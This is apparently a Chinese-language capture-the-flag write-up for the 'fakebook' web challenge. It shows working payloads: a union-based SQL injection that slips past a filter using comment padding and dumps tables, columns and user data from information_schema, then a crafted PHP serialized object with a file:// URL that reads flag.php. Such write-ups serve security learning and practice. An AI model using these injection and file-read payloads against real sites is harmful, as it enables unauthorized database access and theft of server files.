fakebook
打开链接,发现三个页面



查看源代码,没有发现什么
注册一个账号登录进去

查看源代码

点击admin进入,发现一个参数no

测试注入,加上'后报错

整数型注入


意思是,在/var/www/html/view.php查看属性或调用函数
1 order by 5#时报错,列数为4
判断显示位

可能被过滤了,尝试绕过uinon select


查看当前数据库

查表
?no=-1 /*--*/union/*--*/select/*--*/ 1,group_concat(table_name),3,4%20 from information_schema.tables where table_schema='fakebook'--+

查列名
?no=-1 /*--*/union/*--*/select/*--*/ 1,column_name,3,4%20 from information_schema.columns where table_name='users' --+

查字段信息
?no=-1 /*--*/union/*--*/select/*--*/ 1,group_concat(data),3,4%20 from fakebook.users --+

尝试no=1注入处进行反序列化读取本地文件
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin11111";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源代码,发现flag

flag = "flag{c1e552fdf77049fabf65168f22f7aeab}

浙公网安备 33010602011771号